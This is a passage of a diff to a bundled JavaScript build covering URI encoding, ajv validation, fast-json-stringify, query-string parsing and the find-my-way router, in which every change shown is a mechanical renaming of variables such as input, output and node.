- 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -37167,143 +37167,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -37313,8 +37313,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -37593,35 +37593,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result2 = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result2 += input[i] + input[i + 1]; + result2 += input2[i] + input2[i + 1]; i++; continue; } } - result2 += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result2 += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result2; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result2 = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result2 += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result2 += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result2 += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result2 += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result2 += BYTE_HEX[code]; @@ -37629,13 +37629,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result2 += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result2 += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result2 += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result2 += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -38284,8 +38284,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports2, "__esModule", { value: true }); exports2.formatNames = exports2.fastFormats = exports2.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports2.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -38496,7 +38496,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -38505,7 +38505,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -38726,14 +38726,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -39130,21 +39130,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -40551,9 +40551,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -40833,7 +40833,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -40863,13 +40863,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first2 = validate.errors[0]; + const first2 = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first2.instancePath} ${first2.message}`); err.errors = isValidSchema.errors; throw err; @@ -41272,11 +41272,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -41298,12 +41298,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -41313,7 +41313,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -41323,7 +41323,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -41409,13 +41409,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -41537,18 +41537,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -41556,14 +41556,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -41573,7 +41573,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -41581,7 +41581,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -41589,7 +41589,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -41602,52 +41602,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -41729,14 +41729,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -41749,12 +41749,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -41771,9 +41771,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -41800,10 +41800,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -41813,7 +41813,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -41843,10 +41843,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -41864,30 +41864,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -41900,17 +41900,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -44739,12 +44739,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result2 = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result2; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -44756,13 +44756,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -44771,7 +44771,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -45031,18 +45031,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result2 = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result2; } const separator = "&"; - const keys2 = Object.keys(input); + const keys2 = Object.keys(input2); const keyLength = keys2.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys2[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result2 += separator; @@ -45810,24 +45810,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -45977,8 +45977,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -45992,28 +45992,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root2, options) { @@ -46216,14 +46216,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -46266,9 +46266,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -46328,13 +46328,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -46351,7 +46351,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -47276,7 +47276,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -47304,8 +47304,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -47315,9 +47315,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -47513,7 +47513,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -47914,14 +47914,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, 